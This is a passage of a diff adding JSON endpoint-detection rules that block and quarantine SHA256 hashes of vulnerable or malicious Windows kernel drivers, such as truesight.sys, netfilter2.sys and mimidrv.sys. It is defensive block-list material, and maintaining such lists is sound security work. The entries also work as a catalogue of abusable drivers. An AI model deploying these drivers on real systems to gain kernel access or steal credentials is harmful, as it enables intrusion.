+  "hl_testing_start_time": "2026-03-23T11:45:31.473307Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0099c687fd570537a97703491cf4d58c0aa7263dffa84f04f563e0abf871235c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16774b23-ec54-5703-ac9c-dcd7d5f51ded",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824794Z",
+  "creation_date": "2026-03-23T11:45:30.824797Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824805Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba3f881f656a0053081640d9381bc60cceec0d28f1b51ec9723fa8c1e4ab983c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "167be708-8035-5496-a8c5-252b56380848",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459129Z",
+  "creation_date": "2026-03-23T11:45:30.459132Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f488500be4eaafba74b644be95d4c0523297770fb9bb78c449f643ab8d4a05d9",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "168b1cc9-0bd9-5ed7-ba20-e45fc7c816d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141646Z",
+  "creation_date": "2026-03-23T11:45:31.141648Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141654Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90a225fd5dde6ed4f02b93c7fb8d61a7b1e971c7be89bf03489d1bca3bb6b9fa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "168b7e66-f6bf-5741-a440-14bc17015155",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156449Z",
+  "creation_date": "2026-03-23T11:45:31.156451Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2062cb33e7c5aa01bf0f5c4c78d3c5a3bd757492545ab4494cfc6ccf2efa2da8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16914bf1-0cfc-5340-ba93-ef24964b80bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155402Z",
+  "creation_date": "2026-03-23T11:45:31.155405Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155413Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "02d5694e2727bcd840e3563570d5d565a153632c55c0bbd074f32693e728b17c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1699d89a-9bc6-5018-b20f-f485f9c2b6a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808320Z",
+  "creation_date": "2026-03-23T11:45:31.808323Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808328Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13a17b8a155e0cf0a8fef9db9067cebfb69849c2311d52a5790239ab41e4572a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "169b66db-e58c-5638-afdc-98f96ee1d54e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479260Z",
+  "creation_date": "2026-03-23T11:45:30.479262Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479267Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "994f322def98c99aec7ea0036ef5f4b802120458782ae3867d116d55215c56e4",
+  "comment": "Vulnerable Kernel Driver (aka VBoxTAP.sys) [https://www.loldrivers.io/drivers/f22e7230-5f32-4c4e-bc9d-9076ebf10baa/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16a0ae15-4c80-509d-af4e-79c1bfb72b34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827309Z",
+  "creation_date": "2026-03-23T11:45:30.827311Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827316Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08728784826b5240145fbfa4e6f98234690624cf0c2398eca40accda1c4f7e3e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16ac11db-caa4-5526-add3-c7f991b5f3ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831371Z",
+  "creation_date": "2026-03-23T11:45:30.831374Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831382Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c5b695c3336628a33aaa69c98551273a23021d0af663fec196aff2b80dc7636",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16af6e9e-f2ee-59df-af86-56a6f5448285",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834756Z",
+  "creation_date": "2026-03-23T11:45:30.834759Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834768Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c38fd37dd3694cdb2bab7ad1d403c25acf3caeefcf50f5b042a2ddc40a7b2f23",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16be3c2d-df44-52b8-946b-e298e5629093",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467619Z",
+  "creation_date": "2026-03-23T11:45:30.467622Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467631Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d11419d2f1d6217481d12d3f3fcd13f693f7454f9fadcdeee72bdc0ce06c8e2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16ce02a0-7718-5dc9-9268-9a48004c2d74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482090Z",
+  "creation_date": "2026-03-23T11:45:31.482094Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482104Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "21949150dd0b15bcd883815e27a9b2bed0a4fc73efba1f821670ece3a4279002",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16d4604f-f39c-5620-81a2-db3d7600332c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819532Z",
+  "creation_date": "2026-03-23T11:45:30.819534Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819540Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "afda5af5f210336061bff0fab0ed93ee495312bed639ec5db56fbac0ea8247d3",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16deda0c-c87a-58c7-82f1-64e64a77d4f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604717Z",
+  "creation_date": "2026-03-23T11:45:29.604719Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604724Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "70211a3f90376bbc61f49c22a63075d1d4ddd53f0aefa976216c46e6ba39a9f4",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "16f47624-8a60-5c5a-b727-295198dec4aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466378Z",
+  "creation_date": "2026-03-23T11:45:30.466381Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466389Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80e4c83cfa9d675a6746ab846fa5da76d79e87a9297e94e595a2d781e02673b3",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1703161e-a974-5c0c-b228-38797026deb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481073Z",
+  "creation_date": "2026-03-23T11:45:31.481076Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481086Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c9a5dd30173da95e9785b5ee1743c50762a113a6af841969d9131fb99e1e96e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "173410eb-0587-5203-8910-a6e99aacb7b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818600Z",
+  "creation_date": "2026-03-23T11:45:31.818603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818611Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19f89225aa3867d60ac8a21553b642ae7e2d4559c21d685f46e2af81b3456f19",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "173b038a-72e5-5fd6-bb32-f6b37c9ed2f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620332Z",
+  "creation_date": "2026-03-23T11:45:29.620334Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81939e5c12bd627ff268e9887d6fb57e95e6049f28921f3437898757e7f21469",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "174052fe-758a-5e3b-9a33-264f819c1bd4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159013Z",
+  "creation_date": "2026-03-23T11:45:31.159015Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159020Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c36c97d499a6e3154883aa0e19167aaae0cab01b83bb7a934a7ccbd077df6bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "174b10e5-f4cc-5157-b01f-732267b2e8a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827071Z",
+  "creation_date": "2026-03-23T11:45:30.827073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827079Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8895c23c7d39b59516ea2e411491862391d8aa41575cb58f9446ecd8b5551e9b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "17541b59-f6e9-58f7-be8c-4218994d736e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146452Z",
+  "creation_date": "2026-03-23T11:45:32.146455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146460Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "44a89f82bf3303553f9a9fdf136b4453af6d4c777c95da57c5b8baca8506c272",
+  "comment": "Malicious Kernel Driver (aka driver_1a74c2bd.sys) [https://www.loldrivers.io/drivers/af153e7c-13fa-4a40-a095-00726ad6d783/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "176bf81a-6c4e-5ae3-b7e5-4098aa4ed547",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827613Z",
+  "creation_date": "2026-03-23T11:45:30.827615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6cf6159f63328c4e05587c2acfb5548c3fe9318456c9d12f496f01a783310b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
